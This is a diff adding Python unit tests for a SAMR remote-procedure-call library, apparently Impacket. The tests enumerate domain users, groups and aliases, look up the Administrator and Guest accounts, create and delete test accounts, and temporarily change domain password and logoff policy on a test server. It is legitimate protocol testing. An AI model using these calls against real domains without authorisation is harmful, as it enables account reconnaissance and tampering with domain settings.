+        request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED
+        request['GroupId'] = samr.DOMAIN_GROUP_RID_USERS
+        try:
+            resp = dce.request(request)
+            resp.dump()
+        except samr.DCERPCSessionError as e:
+            if str(e).find('STATUS_NO_SUCH_DOMAIN') < 0:
+                raise
+        
+    def test_hSamrOpenGroup(self):
+        dce, rpc_transport = self.connect()
+        domainHandle = self.get_domain_handle(dce)
+        try:
+            resp = samr.hSamrOpenGroup(dce, domainHandle, groupId=samr.DOMAIN_GROUP_RID_USERS)
+            resp.dump()
+        except samr.DCERPCSessionError as e:
+            if str(e).find('STATUS_NO_SUCH_DOMAIN') < 0:
+                raise
+
+    def test_SamrOpenAlias(self):
+        dce, rpc_transport = self.connect()
+        domainHandle = self.get_domain_handle(dce)
+        request = samr.SamrOpenAlias()
+        request['DomainHandle'] = domainHandle
+        request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED
+        request['AliasId'] = 25
+        with assertRaisesRegex(self, samr.DCERPCSessionError, "STATUS_NO_SUCH_ALIAS"):
+            dce.request(request)
+
+    def test_hSamrOpenAlias(self):
+        dce, rpc_transport = self.connect()
+        domainHandle = self.get_domain_handle(dce)
+        with assertRaisesRegex(self, samr.DCERPCSessionError, "STATUS_NO_SUCH_ALIAS"):
+            samr.hSamrOpenAlias(dce, domainHandle, aliasId=25)
+
+    def test_SamrOpenUser(self):
+        dce, rpc_transport = self.connect()
+        domainHandle = self.get_domain_handle(dce)
+        request = samr.SamrOpenUser()
+        request['DomainHandle'] = domainHandle
+        request['DesiredAccess'] = samr.USER_READ_GENERAL | samr.USER_READ_PREFERENCES | samr.USER_READ_ACCOUNT
+        request['UserId'] = samr.DOMAIN_USER_RID_ADMIN
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hSamrOpenUser(self):
+        dce, rpc_transport = self.connect()
+        domainHandle = self.get_domain_handle(dce)
+        resp = samr.hSamrOpenUser(dce, domainHandle,
+                                  samr.USER_READ_GENERAL | samr.USER_READ_PREFERENCES | samr.USER_READ_ACCOUNT,
+                                  samr.DOMAIN_USER_RID_ADMIN)
+        resp.dump()
+
+    def test_SamrEnumerateDomainsInSamServer(self):
+        dce, rpc_transport = self.connect()
+        request = samr.SamrConnect()
+        request['ServerName'] = self.server_name_string
+        request['DesiredAccess'] = samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN
+        resp = dce.request(request)
+        request = samr.SamrEnumerateDomainsInSamServer()
+        request['ServerHandle'] = resp['ServerHandle']
+        request['EnumerationContext'] = 0
+        request['PreferedMaximumLength'] = 500
+        resp2 = dce.request(request)
+        resp2.dump()
+        request = samr.SamrLookupDomainInSamServer()
+        request['ServerHandle'] = resp['ServerHandle']
+        request['Name'] = resp2['Buffer']['Buffer'][0]['Name']
+        resp3 = dce.request(request)
+        resp3.dump()
+        request = samr.SamrOpenDomain()
+        request['ServerHandle'] = resp['ServerHandle']
+        request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED
+        request['DomainId'] = resp3['DomainId']
+        resp4 = dce.request(request)
+        resp4.dump()
+
+    def test_hSamrEnumerateDomainsInSamServer(self):
+        dce, rpc_transport = self.connect()
+        resp = samr.hSamrConnect(dce, desiredAccess=samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN)
+        resp2 = samr.hSamrEnumerateDomainsInSamServer(dce, resp['ServerHandle'])
+        resp2.dump()
+        resp3 = samr.hSamrLookupDomainInSamServer(dce, resp['ServerHandle'], resp2['Buffer']['Buffer'][0]['Name'])
+        resp3.dump()
+        request = samr.SamrOpenDomain()
+        request['ServerHandle'] = resp['ServerHandle']
+        request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED
+        request['DomainId'] = resp3['DomainId']
+        resp4 = dce.request(request)
+        resp4.dump()
+
+    def test_SamrLookupNamesInDomain(self):
+        dce, rpc_transport = self.connect()
+        domainHandle = self.get_domain_handle(dce)
+        request = samr.SamrLookupNamesInDomain()
+        request['DomainHandle'] = domainHandle
+        request['Count'] = 1
+        entry = dtypes.RPC_UNICODE_STRING()
+        entry['Data'] = 'Administrator'
+        #entry.fields['MaximumLength'] = len('Administrator\x00')*2
+        #entry.fields['Data'].fields['Data'].fields['MaximumCount'] = len('Administrator\x00')
+        request['Names'].append(entry)
+        request.fields['Names'].fields['MaximumCount'] = 1000
+        resp5 = dce.request(request)
+        resp5.dump()
+
+    def test_hSamrLookupNamesInDomain(self):
+        dce, rpc_transport = self.connect()
+        domainHandle = self.get_domain_handle(dce)
+        try:
+            resp = samr.hSamrLookupNamesInDomain(dce, domainHandle, ('Administrator', 'Guest'))
+            resp.dump()
+        except samr.DCERPCSessionError as e:
+            if str(e).find('STATUS_MORE_ENTRIES') >= 0:
+                pass
+
+    def test_SamrLookupIdsInDomain(self):
+        dce, rpc_transport = self.connect()
+        domainHandle = self.get_domain_handle(dce)
+        request = samr.SamrLookupIdsInDomain()
+        request.dump()
+        request['DomainHandle'] = domainHandle
+        request['Count'] = 2
+        entry = dtypes.ULONG()
+        entry['Data'] = 500
+        request['RelativeIds'].append(entry)
+        entry = dtypes.ULONG()
+        entry['Data'] = 501
+        request['RelativeIds'].append(entry)
+        request.fields['RelativeIds'].fields['MaximumCount'] = 1000
+        resp5 = dce.request(request)
+        resp5.dump()
+
+    def test_hSamrLookupIdsInDomain(self):
+        dce, rpc_transport = self.connect()
+        domainHandle = self.get_domain_handle(dce)
+        resp = samr.hSamrLookupIdsInDomain(dce, domainHandle, (500, 501))
+        resp.dump()
+
+    def test_SamrEnumerateGroupsInDomain(self):
+        dce, rpc_transport = self.connect()
+        domainHandle = self.get_domain_handle(dce)
+        request = samr.SamrEnumerateGroupsInDomain()
+        request['DomainHandle'] = domainHandle
+        request['EnumerationContext'] = 0
+        request['PreferedMaximumLength'] = 500
+        status = nt_errors.STATUS_MORE_ENTRIES
+        while status == nt_errors.STATUS_MORE_ENTRIES:
+            try:
+                resp4 = dce.request(request)
+            except samr.DCERPCSessionError as e:
+                if str(e).find('STATUS_MORE_ENTRIES') < 0:
+                    raise 
+                resp4 = e.get_packet()
+            resp4['Buffer'].dump()
+            request['EnumerationContext'] = resp4['EnumerationContext'] 
+            status = resp4['ErrorCode']
+
+    def test_hSamrEnumerateGroupsInDomain(self):
+        dce, rpc_transport = self.connect()
+        domainHandle = self.get_domain_handle(dce)
+        resp = samr.hSamrEnumerateGroupsInDomain(dce, domainHandle)
+        resp.dump()
+
+    def test_SamrEnumerateAliasesInDomain(self):
+        dce, rpc_transport = self.connect()
+        domainHandle = self.get_domain_handle(dce)
+        request = samr.SamrEnumerateAliasesInDomain()
+        request['DomainHandle'] = domainHandle
+        request['EnumerationContext'] = 0
+        request['PreferedMaximumLength'] = 500
+        status = nt_errors.STATUS_MORE_ENTRIES
+        while status == nt_errors.STATUS_MORE_ENTRIES:
+            try:
+                resp4 = dce.request(request)
+            except samr.DCERPCSessionError as e:
+                if str(e).find('STATUS_MORE_ENTRIES') < 0:
+                    raise 
+                resp4 = e.get_packet()
+            resp4['Buffer'].dump()
+            request['EnumerationContext'] = resp4['EnumerationContext'] 
+            status = resp4['ErrorCode']
+
+    def test_hSamrEnumerateAliasesInDomain(self):
+        dce, rpc_transport = self.connect()
+        domainHandle = self.get_domain_handle(dce)
+        resp = samr.hSamrEnumerateAliasesInDomain(dce, domainHandle)
+        resp.dump()
+
+    def test_SamrEnumerateUsersInDomain(self):
+        dce, rpc_transport = self.connect()
+        domainHandle = self.get_domain_handle(dce)
+        request = samr.SamrEnumerateUsersInDomain()
+        request['DomainHandle'] = domainHandle
+        request['UserAccountControl'] = samr.USER_NORMAL_ACCOUNT
+        request['EnumerationContext'] = 0
+        request['PreferedMaximumLength'] = 8192
+        status = nt_errors.STATUS_MORE_ENTRIES
+        while status == nt_errors.STATUS_MORE_ENTRIES:
+            try:
+                resp4 = dce.request(request)
+            except samr.DCERPCSessionError as e:
+                if str(e).find('STATUS_MORE_ENTRIES') < 0:
+                    raise 
+                resp4 = e.get_packet()
+            resp4['Buffer'].dump()
+            request['EnumerationContext'] = resp4['EnumerationContext'] 
+            status = resp4['ErrorCode']
+
+    def test_hSamrEnumerateUsersInDomain(self):
+        dce, rpc_transport = self.connect()
+        domainHandle = self.get_domain_handle(dce)
+        try:
+            resp = samr.hSamrEnumerateUsersInDomain(dce, domainHandle)
+            resp.dump()
+        except samr.DCERPCSessionError as e:
+            if str(e).find('STATUS_MORE_ENTRIES') >=0:
+                pass
+            e.get_packet().dump()
+
+    def test_SamrGetGroupsForUser(self):
+        dce, rpc_transport = self.connect()
+        domainHandle = self.get_domain_handle(dce)
+        request = samr.SamrOpenUser()
+        request['DomainHandle'] = domainHandle
+        request['DesiredAccess'] = samr.USER_READ_GENERAL | samr.USER_READ_PREFERENCES | samr.USER_READ_ACCOUNT | samr.USER_LIST_GROUPS
+        request['UserId'] = samr.DOMAIN_USER_RID_ADMIN
+        resp = dce.request(request)
+        resp.dump()
+        request = samr.SamrGetGroupsForUser()
+        request['UserHandle'] = resp['UserHandle'] 
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hSamrGetGroupsForUser(self):
+        dce, rpc_transport = self.connect()
+        domainHandle = self.get_domain_handle(dce)
+        request = samr.SamrOpenUser()
+        request['DomainHandle'] = domainHandle
+        request['DesiredAccess'] =  samr.USER_READ_GENERAL | samr.USER_READ_PREFERENCES | samr.USER_READ_ACCOUNT | samr.USER_LIST_GROUPS
+        request['UserId'] = samr.DOMAIN_USER_RID_ADMIN
+        resp = dce.request(request)
+        resp.dump()
+        resp = samr.hSamrGetGroupsForUser(dce, resp['UserHandle'])
+        resp.dump()
+
+    def test_SamrQueryDisplayInformation3(self):
+        dce, rpc_transport = self.connect()
+        domainHandle = self.get_domain_handle(dce)
+        request = samr.SamrQueryDisplayInformation3()
+        request['DomainHandle'] = domainHandle
+        request['DisplayInformationClass'] = samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayUser
+        request['Index'] = 0
+        request['EntryCount'] = 100
+        request['PreferredMaximumLength'] = 8192
+        try:
+            resp = dce.request(request)
+            resp.dump()
+        except samr.DCERPCSessionError as e:
+            if str(e).find('STATUS_MORE_ENTRIES') >=0:
+                e.get_packet().dump()
+            else:
+                raise
+
+        for display_info_class in [samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayMachine,
+                                   samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayGroup,
+                                   samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayOemGroup]:
+            request = samr.SamrQueryDisplayInformation3()
+            request['DomainHandle'] = domainHandle
+            request['DisplayInformationClass'] = display_info_class
+            request['Index'] = 0
+            request['EntryCount'] = 100
+            request['PreferredMaximumLength'] = 8192
+            resp = dce.request(request)
+            resp.dump()
+
+    def test_hSamrQueryDisplayInformation3(self):
+        dce, rpc_transport = self.connect()
+        domainHandle = self.get_domain_handle(dce)
+        try:
+            resp = samr.hSamrQueryDisplayInformation3(dce, domainHandle,  samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayUser)
+            resp.dump()
+        except samr.DCERPCSessionError as e:
+            if str(e).find('STATUS_MORE_ENTRIES') >=0:
+                e.get_packet().dump()
+            else:
+                raise
+
+        for display_info_class in [samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayMachine,
+                                   samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayGroup,
+                                   samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayOemGroup]:
+            resp = samr.hSamrQueryDisplayInformation3(dce, domainHandle, display_info_class)
+            resp.dump()
+
+    def test_SamrQueryDisplayInformation2(self):
+        dce, rpc_transport = self.connect()
+        domainHandle = self.get_domain_handle(dce)
+        try:
+            resp = samr.hSamrQueryDisplayInformation2(dce, domainHandle,  samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayUser)
+            resp.dump()
+        except samr.DCERPCSessionError as e:
+            if str(e).find('STATUS_MORE_ENTRIES') >= 0:
+                e.get_packet().dump()
+            else:
+                raise
+
+        for display_info_class in [samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayMachine,
+                                   samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayGroup,
+                                   samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayOemGroup]:
+            resp = samr.hSamrQueryDisplayInformation2(dce, domainHandle, display_info_class)
+            resp.dump()
+
+    def test_SamrQueryDisplayInformation(self):
+        dce, rpc_transport = self.connect()
+        domainHandle = self.get_domain_handle(dce)
+        request = samr.SamrQueryDisplayInformation()
+        request['DomainHandle'] = domainHandle
+        request['DisplayInformationClass'] = samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayUser
+        request['Index'] = 0
+        request['EntryCount'] = 100
+        request['PreferredMaximumLength'] = 8192
+        try:
+            resp = dce.request(request)
+            resp.dump()
+        except samr.DCERPCSessionError as e:
+            if str(e).find('STATUS_MORE_ENTRIES') >= 0:
+                e.get_packet().dump()
+            else:
+                raise
+
+        for display_info_class in [samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayMachine,
+                                   samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayGroup,
+                                   samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayOemGroup]:
+            request = samr.SamrQueryDisplayInformation()
+            request['DomainHandle'] = domainHandle
+            request['DisplayInformationClass'] = display_info_class
+            request['Index'] = 0
+            request['EntryCount'] = 100
+            request['PreferredMaximumLength'] = 8192
+            resp = dce.request(request)
+            resp.dump()
+
+    def test_hSamrQueryDisplayInformation(self):
+        dce, rpc_transport = self.connect()
+        domainHandle = self.get_domain_handle(dce)
+        try:
+            resp = samr.hSamrQueryDisplayInformation(dce, domainHandle,  samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayUser)
+            resp.dump()
+        except samr.DCERPCSessionError as e:
+            if str(e).find('STATUS_MORE_ENTRIES') >= 0:
+                e.get_packet().dump()
+            else:
+                raise
+
+        for display_info_class in [samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayMachine,
+                                   samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayGroup,
+                                   samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayOemGroup]:
+            resp = samr.hSamrQueryDisplayInformation(dce, domainHandle, display_info_class)
+            resp.dump()
+
+    def test_SamrGetDisplayEnumerationIndex2(self):
+        dce, rpc_transport = self.connect()
+        domainHandle = self.get_domain_handle(dce)
+
+        for display_info_class, prefix in [(samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayUser, 'Gu'),
+                                           (samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayGroup, 'Non')]:
+            request = samr.SamrGetDisplayEnumerationIndex2()
+            request['DomainHandle'] = domainHandle
+            request['DisplayInformationClass'] = display_info_class
+            request['Prefix'] = prefix
+            resp = dce.request(request)
+            resp.dump()
+
+    def test_hSamrGetDisplayEnumerationIndex2(self):
+        dce, rpc_transport = self.connect()
+        domainHandle = self.get_domain_handle(dce)
+        for display_info_class, prefix in [(samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayUser, 'Gu'),
+                                           (samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayGroup, 'Non')]:
+            resp = samr.hSamrGetDisplayEnumerationIndex2(dce, domainHandle, display_info_class, prefix)
+            resp.dump()
+
+    def test_SamrGetDisplayEnumerationIndex(self):
+        dce, rpc_transport = self.connect()
+        domainHandle = self.get_domain_handle(dce)
+        resp = samr.hSamrGetDisplayEnumerationIndex(dce, domainHandle, samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayUser, 'Gu')
+        resp.dump()
+
+    def test_hSamrGetDisplayEnumerationIndex(self):
+        dce, rpc_transport = self.connect()
+        domainHandle = self.get_domain_handle(dce)
+        request = samr.SamrGetDisplayEnumerationIndex()
+        request['DomainHandle'] = domainHandle
+        request['DisplayInformationClass'] = samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayUser
+        request['Prefix'] = 'Gu'
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_SamrCreateGroupInDomain_SamrDeleteGroup(self):
+        dce, rpc_transport = self.connect()
+        domainHandle = self.get_domain_handle(dce)
+        request = samr.SamrCreateGroupInDomain()
+        request['DomainHandle'] = domainHandle
+        request['Name'] = self.test_group
+        request['DesiredAccess'] = samr.GROUP_ALL_ACCESS | samr.DELETE
+        with assertRaisesRegex(self, samr.DCERPCSessionError, "STATUS_ACCESS_DENIED"):
+            dce.request(request)
+
+        request = samr.SamrDeleteGroup()
+        request['GroupHandle'] = domainHandle
+        with assertRaisesRegex(self, samr.DCERPCSessionError, "STATUS_OBJECT_TYPE_MISMATCH"):
+            dce.request(request)
+
+    def test_hSamrCreateGroupInDomain_hSamrDeleteGroup(self):
+        dce, rpc_transport = self.connect()
+        domainHandle = self.get_domain_handle(dce)
+        with assertRaisesRegex(self, samr.DCERPCSessionError, "STATUS_ACCESS_DENIED"):
+            samr.hSamrCreateGroupInDomain(dce, domainHandle, self.test_group, samr.GROUP_ALL_ACCESS | samr.DELETE)
+
+        with assertRaisesRegex(self, samr.DCERPCSessionError, "STATUS_OBJECT_TYPE_MISMATCH"):
+            samr.hSamrDeleteGroup(dce, domainHandle)
+
+    def test_SamrCreateAliasInDomain_SamrDeleteAlias(self):
+        dce, rpc_transport = self.connect()
+        domainHandle = self.get_domain_handle(dce)
+        request = samr.SamrCreateAliasInDomain()
+        request['DomainHandle'] = domainHandle
+        request['AccountName'] = self.test_group
+        request['DesiredAccess'] = samr.GROUP_ALL_ACCESS | samr.DELETE
+        resp = dce.request(request)
+        resp.dump()
+        request = samr.SamrDeleteAlias()
+        request['AliasHandle'] = resp['AliasHandle']
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hSamrCreateAliasInDomain_hSamrDeleteAlias(self):
+        dce, rpc_transport = self.connect()
+        domainHandle = self.get_domain_handle(dce)
+        resp = samr.hSamrCreateAliasInDomain(dce, domainHandle, self.test_group,  samr.GROUP_ALL_ACCESS | samr.DELETE)
+        resp.dump()
+        resp = samr.hSamrDeleteAlias(dce, resp['AliasHandle'])
+        resp.dump()
+
+    def test_SamrCreateUser2InDomain_SamrDeleteUser(self):
+        dce, rpc_transport = self.connect()
+        domainHandle = self.get_domain_handle(dce)
+        request = samr.SamrCreateUser2InDomain()
+        request['DomainHandle'] = domainHandle
+        request['Name'] = self.test_account
+        request['AccountType'] = samr.USER_NORMAL_ACCOUNT
+        request['DesiredAccess'] = samr.USER_READ_GENERAL | samr.DELETE
+        resp = dce.request(request)
+        resp.dump()
+        request = samr.SamrDeleteUser()
+        request['UserHandle'] = resp['UserHandle']
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hSamrCreateUser2InDomain_hSamrDeleteUser(self):
+        dce, rpc_transport = self.connect()
+        domainHandle = self.get_domain_handle(dce)
+        resp = samr.hSamrCreateUser2InDomain(dce, domainHandle, self.test_account, samr.USER_NORMAL_ACCOUNT,samr.USER_READ_GENERAL | samr.DELETE )
+        resp.dump()
+        resp = samr.hSamrDeleteUser(dce, resp['UserHandle'])
+        resp.dump()
+
+    def test_SamrQueryInformationDomain2(self):
+        dce, rpc_transport = self.connect()
+        domainHandle = self.get_domain_handle(dce)
+
+        for domain_info_class in [samr.DOMAIN_INFORMATION_CLASS.DomainPasswordInformation,
+                                  samr.DOMAIN_INFORMATION_CLASS.DomainGeneralInformation,
+                                  samr.DOMAIN_INFORMATION_CLASS.DomainLogoffInformation,
+                                  samr.DOMAIN_INFORMATION_CLASS.DomainOemInformation,
+                                  samr.DOMAIN_INFORMATION_CLASS.DomainNameInformation,
+                                  samr.DOMAIN_INFORMATION_CLASS.DomainServerRoleInformation,
+                                  samr.DOMAIN_INFORMATION_CLASS.DomainReplicationInformation,
+                                  samr.DOMAIN_INFORMATION_CLASS.DomainModifiedInformation,
+                                  samr.DOMAIN_INFORMATION_CLASS.DomainStateInformation,
+                                  samr.DOMAIN_INFORMATION_CLASS.DomainGeneralInformation2,
+                                  samr.DOMAIN_INFORMATION_CLASS.DomainLockoutInformation,
+                                  samr.DOMAIN_INFORMATION_CLASS.DomainModifiedInformation2,
+                                  ]:
+            request = samr.SamrQueryInformationDomain2()
+            request['DomainHandle'] = domainHandle
+            request['DomainInformationClass'] = domain_info_class
+            resp = dce.request(request)
+            resp.dump()
+
+    def test_hSamrQueryInformationDomain2(self):
+        dce, rpc_transport = self.connect()
+        domainHandle = self.get_domain_handle(dce)
+
+        for domain_info_class in [samr.DOMAIN_INFORMATION_CLASS.DomainPasswordInformation,
+                                  samr.DOMAIN_INFORMATION_CLASS.DomainGeneralInformation,
+                                  samr.DOMAIN_INFORMATION_CLASS.DomainLogoffInformation,
+                                  samr.DOMAIN_INFORMATION_CLASS.DomainOemInformation,
+                                  samr.DOMAIN_INFORMATION_CLASS.DomainNameInformation,
+                                  samr.DOMAIN_INFORMATION_CLASS.DomainServerRoleInformation,
+                                  samr.DOMAIN_INFORMATION_CLASS.DomainReplicationInformation,
+                                  samr.DOMAIN_INFORMATION_CLASS.DomainModifiedInformation,
+                                  samr.DOMAIN_INFORMATION_CLASS.DomainStateInformation,
+                                  samr.DOMAIN_INFORMATION_CLASS.DomainGeneralInformation2,
+                                  samr.DOMAIN_INFORMATION_CLASS.DomainLockoutInformation,
+                                  samr.DOMAIN_INFORMATION_CLASS.DomainModifiedInformation2,
+                                  ]:
+            resp = samr.hSamrQueryInformationDomain2(dce, domainHandle, domain_info_class)
+            resp.dump()
+
+    def test_hSamrQueryInformationDomain_hSamrSetInformationDomain(self):
+        dce, rpc_transport = self.connect()
+        domainHandle = self.get_domain_handle(dce)
+
+        resp = samr.hSamrQueryInformationDomain(dce, domainHandle, samr.DOMAIN_INFORMATION_CLASS.DomainPasswordInformation)
+        resp.dump()
+
+        resp['Buffer']['Password']['MaxPasswordAge']['LowPart'] = 11
+        resp = samr.hSamrSetInformationDomain(dce, domainHandle, resp['Buffer'])
+        resp.dump()
+ 
+        resp2 = samr.hSamrQueryInformationDomain(dce, domainHandle, samr.DOMAIN_INFORMATION_CLASS.DomainPasswordInformation)
+        resp2.dump()
+        self.assertEqual(11, resp2['Buffer']['Password']['MaxPasswordAge']['LowPart'])
+
+        resp2['Buffer']['Password']['MaxPasswordAge']['LowPart'] = 0
+        resp = samr.hSamrSetInformationDomain(dce, domainHandle, resp2['Buffer'])
+        resp.dump()
+   
+        ################################################################################ 
+        resp = samr.hSamrQueryInformationDomain(dce, domainHandle, samr.DOMAIN_INFORMATION_CLASS.DomainGeneralInformation)
+        resp.dump()
+
+        resp['Buffer']['General']['ReplicaSourceNodeName'] = self.test_string
+        with assertRaisesRegex(self, samr.DCERPCSessionError, "STATUS_INVALID_INFO_CLASS"):
+            samr.hSamrSetInformationDomain(dce, domainHandle, resp['Buffer'])
+
+        ################################################################################ 
+        resp = samr.hSamrQueryInformationDomain(dce, domainHandle, samr.DOMAIN_INFORMATION_CLASS.DomainLogoffInformation)
+        resp.dump()
+
+        oldData = resp['Buffer']['Logoff']['ForceLogoff']['LowPart'] 
+
+        resp['Buffer']['Logoff']['ForceLogoff']['LowPart'] = 11
+        resp = samr.hSamrSetInformationDomain(dce, domainHandle, resp['Buffer'])
+        resp.dump()
+
+        resp2 = samr.hSamrQueryInformationDomain(dce, domainHandle, samr.DOMAIN_INFORMATION_CLASS.DomainLogoffInformation)
+        resp2.dump()
+
+        self.assertEqual(11, resp2['Buffer']['Logoff']['ForceLogoff']['LowPart'])
+
+        resp2['Buffer']['Logoff']['ForceLogoff']['LowPart'] = oldData
+        resp = samr.hSamrSetInformationDomain(dce, domainHandle, resp2['Buffer'])
+        resp.dump()
+
+        ################################################################################ 
+        resp = samr.hSamrQueryInformationDomain(dce, domainHandle, samr.DOMAIN_INFORMATION_CLASS.DomainOemInformation)
+        resp.dump()
+
+        oldData = resp['Buffer']['Oem']['OemInformation']
+
+        resp['Buffer']['Oem']['OemInformation'] = self.test_string
+        resp = samr.hSamrSetInformationDomain(dce, domainHandle, resp['Buffer'])
+        resp.dump()
+
+        resp2 = samr.hSamrQueryInformationDomain(dce, domainHandle, samr.DOMAIN_INFORMATION_CLASS.DomainOemInformation)
+        resp2.dump()
+
+        self.assertEqual(self.test_string, resp2['Buffer']['Oem']['OemInformation'])
+
+        resp2['Buffer']['Oem']['OemInformation'] = oldData
+        resp = samr.hSamrSetInformationDomain(dce, domainHandle, resp2['Buffer'])
+        resp.dump()
+
+        for domain_info_class in [samr.DOMAIN_INFORMATION_CLASS.DomainNameInformation,
+                                  samr.DOMAIN_INFORMATION_CLASS.DomainServerRoleInformation,
+                                  samr.DOMAIN_INFORMATION_CLASS.DomainModifiedInformation,
+                                  samr.DOMAIN_INFORMATION_CLASS.DomainStateInformation,
+                                  samr.DOMAIN_INFORMATION_CLASS.DomainGeneralInformation2,
+                                  samr.DOMAIN_INFORMATION_CLASS.DomainLockoutInformation,
+                                  samr.DOMAIN_INFORMATION_CLASS.DomainModifiedInformation2,
+                                  ]:
+            resp = samr.hSamrQueryInformationDomain(dce, domainHandle, domain_info_class)
+            resp.dump()
+
+        resp = samr.hSamrQueryInformationDomain(dce, domainHandle, samr.DOMAIN_INFORMATION_CLASS.DomainReplicationInformation)
+        resp.dump()
+
+        oldData = resp['Buffer']['Replication']['ReplicaSourceNodeName']
+
+        resp['Buffer']['Replication']['ReplicaSourceNodeName'] = self.test_string
+        resp = samr.hSamrSetInformationDomain(dce, domainHandle, resp['Buffer'])
+        resp.dump()
+
+        resp2 = samr.hSamrQueryInformationDomain(dce, domainHandle, samr.DOMAIN_INFORMATION_CLASS.DomainReplicationInformation)
+        resp2.dump()
+
+        self.assertEqual(self.test_string, resp2['Buffer']['Replication']['ReplicaSourceNodeName'])
+
+        resp2['Buffer']['Replication']['ReplicaSourceNodeName'] = oldData
+        resp = samr.hSamrSetInformationDomain(dce, domainHandle, resp2['Buffer'])
+        resp.dump()
+
+    def test_SamrQueryInformationGroup_SamrSetInformationGroup(self):
+        dce, rpc_transport = self.connect()
+        domainHandle = self.get_domain_handle(dce)
+        request = samr.SamrOpenGroup()
+        request['DomainHandle'] = domainHandle
+        request['DesiredAccess'] = samr.GROUP_ALL_ACCESS
+        request['GroupId'] = samr.DOMAIN_GROUP_RID_USERS
+        try:
+            resp0 = dce.request(request)
+            resp0.dump()
+        except samr.DCERPCSessionError as e:
+            if str(e).find('STATUS_NO_SUCH_DOMAIN') < 0:
+                raise
+
+        request = samr.SamrQueryInformationGroup()
+        request['GroupHandle'] = resp0['GroupHandle']
+        request['GroupInformationClass'] = samr.GROUP_INFORMATION_CLASS.GroupGeneralInformation
+        resp = dce.request(request)
+        resp.dump()
+        ################################################################################ 
+        request['GroupInformationClass'] = samr.GROUP_INFORMATION_CLASS.GroupNameInformation
+        resp = dce.request(request)
+        resp.dump()
+        oldData = resp['Buffer']['Name']['Name']
+
+        req = samr.SamrSetInformationGroup()
+        req['GroupHandle'] = resp0['GroupHandle']
+        req['GroupInformationClass'] = samr.GROUP_INFORMATION_CLASS.GroupNameInformation
+        req['Buffer']['tag'] = samr.GROUP_INFORMATION_CLASS.GroupNameInformation
+        req['Buffer']['Name']['Name'] = self.test_string
+        resp = dce.request(req)
+        resp.dump()
+
+        request['GroupInformationClass'] = samr.GROUP_INFORMATION_CLASS.GroupNameInformation
+        resp = dce.request(request)
+        resp.dump()
+
+        self.assertEqual(self.test_string, resp['Buffer']['Name']['Name'])
+
+        req['Buffer']['Name']['Name'] = oldData
+        resp = dce.request(req)
+        resp.dump()
+
+        ################################################################################ 
+        request['GroupInformationClass'] = samr.GROUP_INFORMATION_CLASS.GroupAttributeInformation
+        resp = dce.request(request)
+        resp.dump()
+        oldData = resp['Buffer']['Attribute']['Attributes']
+
+        req = samr.SamrSetInformationGroup()
+        req['GroupHandle'] = resp0['GroupHandle']
+        req['GroupInformationClass'] = samr.GROUP_INFORMATION_CLASS.GroupAttributeInformation
+        req['Buffer']['tag'] = samr.GROUP_INFORMATION_CLASS.GroupAttributeInformation
+        req['Buffer']['Attribute']['Attributes'] = 2
+        resp = dce.request(req)
+        resp.dump()
+
+        request['GroupInformationClass'] = samr.GROUP_INFORMATION_CLASS.GroupAttributeInformation
+        resp = dce.request(request)
+        resp.dump()
+        #self.assertEqual(2, resp['Buffer']['Attribute']['Attributes'])
+
+        req['Buffer']['Attribute']['Attributes'] = oldData
+        resp = dce.request(req)
+        resp.dump()
+
+        ################################################################################ 
+        request['GroupInformationClass'] = samr.GROUP_INFORMATION_CLASS.GroupAdminCommentInformation
+        resp = dce.request(request)
+        resp.dump()
+
+        oldData = resp['Buffer']['AdminComment']['AdminComment']
+
+        req = samr.SamrSetInformationGroup()
+        req['GroupHandle'] = resp0['GroupHandle']
+        req['GroupInformationClass'] = samr.GROUP_INFORMATION_CLASS.GroupAdminCommentInformation
+        req['Buffer']['tag'] = samr.GROUP_INFORMATION_CLASS.GroupAdminCommentInformation
+        req['Buffer']['AdminComment']['AdminComment'] = self.test_string
+        resp = dce.request(req)
+        resp.dump()
+
+        request['GroupInformationClass'] = samr.GROUP_INFORMATION_CLASS.GroupAdminCommentInformation
+        resp = dce.request(request)
+        resp.dump()
+
+        self.assertEqual(self.test_string, resp['Buffer']['AdminComment']['AdminComment'])
+
+        req['Buffer']['AdminComment']['AdminComment'] = oldData
+        resp = dce.request(req)
+        resp.dump()
+
+        ################################################################################ 
+        request['GroupInformationClass'] = samr.GROUP_INFORMATION_CLASS.GroupReplicationInformation
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hSamrQueryInformationGroup_hSamrSetInformationGroup(self):
+        dce, rpc_transport = self.connect()
+        domainHandle = self.get_domain_handle(dce)
